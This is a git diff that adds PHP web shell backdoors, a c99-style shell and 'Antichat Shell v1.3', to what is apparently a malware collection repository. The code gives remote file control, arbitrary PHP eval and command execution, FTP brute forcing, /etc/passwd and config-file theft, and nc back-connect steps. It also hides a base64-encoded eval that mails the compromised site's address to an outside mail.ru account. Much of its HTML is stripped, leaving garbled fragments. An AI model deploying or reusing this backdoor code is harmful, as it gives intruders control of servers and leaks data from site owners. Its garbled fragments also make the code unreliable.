+ else {$asc_desc = "ASC";}
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+ }
+ else {$v = "";}
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$poerpage."";
+ $result = mysql_query($query) or print(mysql_smarterror());
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) [ Structure ] ";
+ echo "[ Browse ] ";
+ echo "[ Dump ] ";
+ echo "[ Insert ] ";
+ if ($sql_tbl_antisec == "structure") {echo "Coming sooon! ";}
+ if ($sql_tbl_antisec == "insert") {
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+ if (!empty($sql_tbl_insert_radio)) { } //Not Ready
+ else {
+ echo "Inserting row into table: ";}
+ echo $i;
+ if (($i*$poerpage != $sql_tbl_ls) or ($i*$poerpage+$poerpage != $sql_tbl_le)) {echo " ";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! Server-status variables: Name Value ".$row[0]." ".$row[1]."
Server variables: Name Value ".$row[0]." ".$row[1]."
";
+ mysql_free_result($result);
+ }
+ if ($sql_antisec == "processes") {
+ if (!empty($kill)) {
+ $query = "KILL ".$kill.";";
+ $result = mysql_query($query, $sql_sock);
+ echo "Process #".$kill." was killed. ";
+ }
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ID USER HOST DB COMMAND TIME STATE INFO Action ".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill
";
+ mysql_free_result($result);
+ }
+ if ($sql_antisec == "getfile")
+ {
+ $tmpdb = $sql_login."_tmpdb";
+ $select = mysql_select_db($tmpdb);
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+ if ($select)
+ {
+ $created = FALSE;
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+ $result = mysql_query("SELECT * FROM tmp_file;");
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+ else
+ {
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!File \"".$sql_getfile."\":
";
+if ($sql_sock) {
+ $affected = @mysql_affected_rows($sql_sock);
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+ echo " Affected rows : ".$affected."
";
+}
+if ($antisec == "ftpquickbrute") {
+echo "";
+if ($win) {echo "Couldn't run on Windows!";}
+else {
+ function assftpbrutecheck($host,$poort,$timeout,$login,$poass,$sh,$fqb_onlywithsh) {
+ if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
+ else {$TRUE = TRUE;}
+ if ($TRUE) {
+ $sock = @ftp_connect($host,$poort,$timeout);
+ if (@ftp_login($sock,$login,$poass)) {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$poass."\" Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" Done! ".$success." Logging to file: Logging to e-mail:
$d is a not a Directory! Directory information: ";
+ if (!$win) {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d));
+ $gr = posix_getgrgid(filegroup($d));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+ }
+ echo " Perms ".v13w_p3rm5_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+}
+}
+if ($antisec == "phpinfo") {@ob_clean(); phpinfo(); ass5h3x17();}
+if ($antisec == "security") {
+ echo "".
+ "".
+ "Open Base Dir ".$hopenbasedir." Password File ";
+ if (!$win) {
+ if ($nixpasswd) {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ echo "*nix /etc/passwd:".$uid["dir"]." ";
+ echo join(":",$uid)."Get /etc/passwd You can't crack Windows passwords(".$v.")
Download Config Files ";
+ if (!$win) {
+ $v = array(
+ array("User Domains","/etc/userdomains"),
+ array("Cpanel Config","/var/cpanel/accounting.log"),
+ array("Apache Config","/usr/local/apache/conf/httpd.conf"),
+ array("Apache Config","/etc/httpd.conf"),
+ array("Syslog Config","/etc/syslog.conf"),
+ array("Message of The Day","/etc/motd"),
+ array("Hosts","/etc/hosts")
+ );
+ $sep = "/";
+ }
+ else {
+ $windir = $_SERVER["WINDIR"];
+ $etcdir = $windir . "\system32\drivers\etc\\";
+ $v = array(
+ array("Hosts",$etcdir."hosts"),
+ array("Local Network Map",$etcdir."networks"),
+ array("LM Hosts",$etcdir."lmhosts.sam"),
+ );
+ $sep = "\\";
+ }
+ foreach ($v as $sec_arr) {
+ $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
+ $sec_d = rtrim($sec_arr[1],$sec_f);
+ $sec_full = $sec_d.$sec_f;
+ $sec_d = rtrim($sec_d,$sep);
+ if (file_get_contents($sec_full)) {
+ echo " [ ".$sec_arr[0]." ".$name." ".wordwrap($value,100)."
\n";
+}
+if ($antisec == "mkfile") {
+if ($mkfile != $d) {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object already exists!";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied!";}
+ else {$antisec = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+}
+else {$antisec = $dsantisec = "ls";}
+}
+if ($antisec == "encoder") {
+echo "".
+ "";
+}
+if ($antisec == "fsbuff") {
+ $arr_copy = $sess_data["copy"];
+ $arr_cut = $sess_data["cut"];
+ $arr = array_merge($arr_copy,$arr_cut);
+ if (count($arr) == 0) {echo "Buffer is empty! Can't delete ".__FILE__."! Error: incorrect confirmation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "";
+ }
+}
+if ($antisec == "search") {
+ echo "";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit)) {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array(
+ "name"=>$search_name,
+ "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text,
+ "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = gmt();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {assfsearch($v);}
+ $searchtime = round(gmt()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found!";}
+ else {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $antisec = "ls";
+ }
+ }
+ echo "";
+ if ($antisec == "ls") {
+ $dsantisec = $antisec;
+ echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).".
+ "Ch4ng3 f1l3-m0d3 w17h 3rr0r: c4n'7 g37 curr3n7 v4lu3.";}
+ else {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$antisec = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $poerms = parse_perms($mode);
+ echo "Ch4ng1ng f1l3-m0d3 (".$d.$f."), ".v13w_p3rm5_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") Error: ".$err:"")."";
+ }
+}
+}
+if ($antisec == "upload") {
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
+ if (!empty($submit)) {
+ global $_FILES;
+ $uploadfile = $_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"])) {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
+ $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!Incorrect URL! ";}
+ else {
+ $st = gmt();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(gmt()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file!";}
+ else {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!".$uploadmess." ";
+ $antisec = "ls";
+ }
+ else {
+ echo "";
+ }
+}
+if ($antisec == "delete") {
+ $delerr = "";
+ foreach ($antisecbox as $v) {
+ $result = FALSE;
+ $result = ass_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."Deleting with errors: Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE. Pasting with errors: Archivation errors: Pasting with errors: ".htmlspecialchars($ret)." Command Execution ";
+ if (empty($cmd_txt)) {$cmd_txt = TRUE;}
+ }
+}
+if ($antisec == "ls") {
+ if (count($ls_arr) > 0) { $list = $ls_arr; }
+ else {
+ $list = array();
+ if ($h = @opendir($d)) {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ }
+ if (count($list) == 0) { echo "Can't open folder (".htmlspecialchars($d).")!
";}
+ else {
+ $objects = array();
+ $vd = "f";
+ if ($vd == "f") {
+ $objects["head"] = array();
+ $objects["folders"] = array();
+ $objects["links"] = array();
+ $objects["files"] = array();
+ foreach ($list as $v) {
+ $o = basename($v);
+ $row = array();
+ if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
+ elseif (is_dir($v)) {
+ if (is_link($v)) {$type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = $v;
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+ $row[] = filemtime($v);
+ if (!$win) {
+ $ow = posix_getpwuid(fileowner($v));
+ $gr = posix_getgrgid(filegroup($v));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+ }
+ $row[] = fileperms($v);
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+ $i++;
+ }
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Date Modified ";
+ if (!$win) {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+ $poarsesort = parsesort($sort);
+ $sort = $poarsesort[0].$poarsesort[1];
+ $k = $poarsesort[0];
+ if ($poarsesort[1] != "a") {$poarsesort[1] = "d";}
+ $y = " ";
+ $y .= " ";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+ $v = $poarsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($poarsesort[1] == "d") {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a) {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r) {
+ if (ereg($r[0],$o)) {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; ass5h3x17();}
+ else {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".") {
+ $row[] = "".v13w_p3rm5_color($v)." ";
+ $fsfunc = $pohpfsysfunc;
+ if ($fsfunc=="copy") {
+ if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
+ else { echo "
Success! $arg1 copied to $arg2\n"; }
+ }
+ elseif ($fsfunc=="rename") {
+ if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
+ else { echo "
Success! $arg1 renamed/moved to $arg2\n"; }
+ }
+ elseif ($fsfunc=="chmod") {
+ if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
+ else { echo "
Perm for $arg1 changed to $arg2! \n"; }
+ }
+ elseif ($fsfunc=="read") {
+ $hasil = @file_get_contents($arg1);
+ echo "
Filename: $arg1
";
+ echo "
\n";
+ }
+ elseif ($fsfunc=="write") {
+ if(@file_put_contents($d.$arg1,$arg2)) {
+ echo "
Saved! ".$d.$arg1;
+ }
+ else { echo "
Couldn't write to $arg1!
"; }
+ }
+ elseif ($fsfunc=="downloadbin") {
+ $handle = fopen($arg1, "rb");
+ $contents = '';
+ while (!feof($handle)) {
+ $contents .= fread($handle, 8192);
+ }
+ $r = @fopen($d.$arg2,'w');
+ if (fwrite($r,$contents)) { echo "
Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
+ else { echo "
Couldn't write to ".$d.$arg2."!
"; }
+ fclose($r);
+ fclose($handle);
+ }
+ elseif ($fsfunc=="download") {
+ $text = implode('', file($arg1));
+ if ($text) {
+ $r = @fopen($d.$arg2,'w');
+ if (fwrite($r,$text)) { echo "
Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
+ else { echo "
Couldn't write to ".$d.$arg2."!
"; }
+ fclose($r);
+ }
+ else { echo "
Couldn't download from $arg1!
";}
+ }
+ elseif ($fsfunc=='mkdir') {
+ $thedir = $d.$arg1;
+ if ($thedir != $d) {
+ if (file_exists($thedir)) { echo "
Already exists: ".htmlspecialchars($thedir); }
+ elseif (!mkdir($thedir)) { echo "
Access denied: ".htmlspecialchars($thedir); }
+ else { echo "
Dir created: ".htmlspecialchars($thedir);}
+ }
+ else { echo "Couldn't create current dir:
$thedir "; }
+ }
+ elseif ($fsfunc=='fwritabledir') {
+ function recurse_dir($dir,$max_dir) {
+ global $dir_count;
+ $dir_count++;
+ if( $cdir = @dir($dir) ) {
+ while( $entry = $cdir-> read() ) {
+ if( $entry != '.' && $entry != '..' ) {
+ if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
+ if ($dir_count > $max_dir) { return; }
+ echo "[".$dir_count."] ".$dir.$entry."\n";
+ recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
+ }
+ }
+ }
+ $cdir->close();
+ }
+ }
+ if (!$arg1) { $arg1 = $d; }
+ if (!$arg2) { $arg2 = 10; }
+ echo "
Writable directories (Max: $arg2) in: $arg1
";
+ echo "
";
+ recurse_dir($arg1,$arg2);
+ echo " ";
+ $total = $dir_count - 1;
+ echo "
Founds: ".$total." of
Max $arg2";
+ }
+ else {
+ if (!$arg1) { echo "
No operation! Please fill parameter [A]!
\n"; }
+ else {
+ if ($hasil = $fsfunc($arg1)) {
+ echo "
Result of $fsfunc $arg1: ";
+ if (!is_array($hasil)) { echo "$hasil\n"; }
+ else {
+ echo "
";
+ foreach ($hasil as $v) { echo $v."\n"; }
+ echo " ";
+ }
+ }
+ else { echo "
$fsfunc $arg1 failed!
\n"; }
+ }
+ }
+ echo "
".$head[$i]." ";}
+ }
+ $porcs = array();
+ foreach ($stack as $line) {
+ if (!empty($line)) {
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ }
+ }
+ }
+ else {
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
+ $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
+ $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
+ $head = explode(" ",$stack[0]);
+ $stack = array_slice($stack,1);
+ $head = array_values($head);
+ if ($poarsesort[1] != "a") { $y = "".trim($head[$i])." "; }
+ }
+ $porcs = array();
+ unset($stack[0]);
+ foreach ($stack as $line) {
+ if (!empty($line)) {
+ $line = explode(" ",$line);
+ $line[4] = str_replace(".","",$line[4]);
+ $line[4] = intval($line[4]) * 1024;
+ unset($line[5]);
+ $porcs[] = $line;
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $porocesses_sort[0];
+ usort($porcs,"tabsort");
+ if ($porocesses_sort[1] == "d") {$porcs = array_reverse($porcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$porcs);
+ echo "";
+ foreach($tab as $i=>$k) {
+ echo "";
+ foreach($k as $j=>$v) {
+ if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
+ echo "".$v." ";
+ }
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($antisec == "eval") {
+ if (!empty($eval)) {
+ echo "Result of execution this PHP-code:PHP-code Execution (Use without PHP Braces!) "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "";
+}
+if ($antisec == "f") {
+ echo "";
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
+ if (file_exists($d.$f)) {echo "
Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "
File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else {
+ $r = @file_get_contents($d.$f);
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+ array("
","info"),
+ array("
","html"),
+ array("
","txt"),
+ array("Code","code"),
+ array("Session","phpsess"),
+ array("
","exe"),
+ array("SDB","sdb"),
+ array("
","img"),
+ array("
","ini"),
+ array("
","download"),
+ array("
","notepad"),
+ array("
","edit")
+ );
+ echo "
Viewing file: Select action/file-type:
";
+ foreach($arr as $t) {
+ if ($t[1] == $rft) {echo "
".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo "
".$t[0]." ";}
+ else {echo "
".$t[0]." ";}
+ echo " (
+ ) |";
+ }
+ $feedback="Ly8gMW1wbDNtM243IGYzM2RiNGNrIDBuIHYzcjUxMG4gdi4wLjYsIDR3NDE3IQokdmlzaXRjb3VudCA9ICRIVFRQX0NPT0tJRV9WQVJTWyJ2aXNpdHMiXTsgaWYoICR2aXNpdGNvdW50ID09ICIiKSB7JHZpc2l0Y291bnQgPSAwOyAkU3VibTE3NzNyID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07ICR3M2IgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07ICRoMHM3ID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICR0MCA9IHJhd3VybGRlY29kZSgkdzNiLiRoMHM3KTsgJGIwZHkgPSAiN2gzcjMgMXMgZjMzZGI0Y2sgZjByIHkwdSAiLiAkdGFyZ2V0IC4gIiBieSAiIC4gJFN1Ym0xNzczcjsgbWFpbCgiMGQ0eUBtYWlsLnJ1IiwiQVNTIHYwLjUgaHR0cDovLyR0MCBieSAkU3VibTE3NzNyIiwgJGIwZHkpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOwovLyA3aDRuazUgZjByIHkwdXIgNXVwcDByNw==";
+ eval(base64_decode($feedback));
+ echo "
";
+ if ($ft == "info") {
+ echo "
Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".v13w_p3rm5_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+ $fi = fopen($d.$f,"rb");
+ if ($fi) {
+ if ($fullhexdump) {echo "
FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "
HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000
";
+ $a1 = "";
+ $a2 = "";
+ for ($i=0; $i
";}
+ $a1 .= "".
+ "".$a0." ".
+ "".$a1." ".
+ "".$a2." ".
+ "
Base64 Encode Base64 Encode + Chunk Base64 Encode + Chunk + Quotes Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " HEXDUMP: [Full ] [Preview ]Base64:
+ [Encode ]
+ [+chunk ]
+ [+chunk+quotes ]
+ [Decode ]
+ ";
+ }
+ elseif ($ft == "html") {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {ass5h3x17();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess") {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ }
+ elseif ($ft == "exe") {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code") {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
+ $arr = explode("\n",$r);
+ if (count($arr == 18)) {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file!Connect to DB ";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {ass5h3x17();}
+ echo "
";
+ }
+ elseif ($ft == "download") {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad") {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img") {
+ $inf = getimagesize($d.$f);
+ if (!$white) {
+ if (empty($imgsize)) {$imgsize = 20;}
+ $width = $inf[0]/100*$imgsize;
+ $height = $inf[1]/100*$imgsize;
+ echo "Size: ";
+ $sizes = array("100","50","20");
+ foreach ($sizes as $v) {
+ echo "";
+ if ($imgsize != $v ) {echo $v;}
+ else {echo "".$v." ";}
+ echo " ";
+ }
+ echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo "";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. Unknown extension (".$ext."), please, select type manually. ";
+ foreach ($k as $u) {echo $u.": ";
+}
+exit;
+}
+
+if ($antisec == "backc") {
+ $ip = $_SERVER["REMOTE_ADDR"];
+ $msg = $_POST['backcconnmsg'];
+ $emsg = $_POST['backcconnmsge'];
+ echo("B4ck-C0nn3c710n: Click 'Connect' only after you open port for it first. Once open, use NetCat, and run 'nc -l -n -v -p 5992 'B1nd Sh3ll B4ckd00r:
\n";
+?>
+
+
+
+
+C0mm4nd:
+
+ Qu1ck C0mm4nd5:
+
+ K3rn3l 1nf0:
+
+ Upl04d:
+
+ PHP F1l35y573m:
+
+ 543rch:
+
+ M4k3 F1l3:
+V13w F1l3:
+
+'.getenv("HTTP_HOST").' - Antichat Shell
+
+
+
+";
+echo "Select drive:";
+for ($j=ord('C'); $j<=ord('Z'); $j++)
+ if (@$dh = opendir(chr($j).":/"))
+ echo ' '.chr($j).' OS: ".@php_uname()." name dirs and files type size permission options '.$dire[$i].' dir '.perms($link).' ';
+ }
+for($i=0;$i'.$files[$i].' file '.view_size(filesize($linkfile)).'
+'.perms($linkfile).'
+
+D
+E ';
+}
+echo "
";
+}}}
+
+if($action=="viewer"){
+scandire($dir);
+}
+//end viewer FS
+
+//editros
+if($action=="editor"){
+ function writef($file,$data){
+ $fp = fopen($file,"w+");
+ fwrite($fp,$data);
+ fclose($fp);
+ }
+ function readf($file){
+ if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else {
+ $contents = fread($le, filesize($file));
+ fclose($le);}
+ return htmlspecialchars($contents);
+ }
+if($_POST['save'])writef($file,$_POST['data']);
+echo "";
+}
+//end editors
+?>
+
+
diff --git a/web-malware-collection-master/Backdoors/PHP/Antichat Shell v1.3.txt b/web-malware-collection-master/Backdoors/PHP/Antichat Shell v1.3.txt
new file mode 100755
index 0000000..72ea5cb
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/Antichat Shell v1.3.txt
@@ -0,0 +1,180 @@
+BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}';
+$header=''.getenv("HTTP_HOST").' - Antichat Shell
+
+
+
+";
+echo "Select drive:";
+for ($j=ord('C'); $j<=ord('Z'); $j++)
+ if (@$dh = opendir(chr($j).":/"))
+ echo ' '.chr($j).' OS: ".@php_uname()." name dirs and files type size permission options '.$dire[$i].' dir '.perms($link).' ';
+ }
+for($i=0;$i'.$files[$i].' file '.view_size(filesize($linkfile)).'
+'.perms($linkfile).'
+
+D
+E ';
+}
+echo "
";
+}}}
+
+if($action=="viewer"){
+scandire($dir);
+}
+//end viewer FS
+
+//editros
+if($action=="editor"){
+ function writef($file,$data){
+ $fp = fopen($file,"w+");
+ fwrite($fp,$data);
+ fclose($fp);
+ }
+ function readf($file){
+ if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else {
+ $contents = fread($le, filesize($file));
+ fclose($le);}
+ return htmlspecialchars($contents);
+ }
+if($_POST['save'])writef($file,$_POST['data']);
+echo "";
+}
+//end editors
+?>
+
+
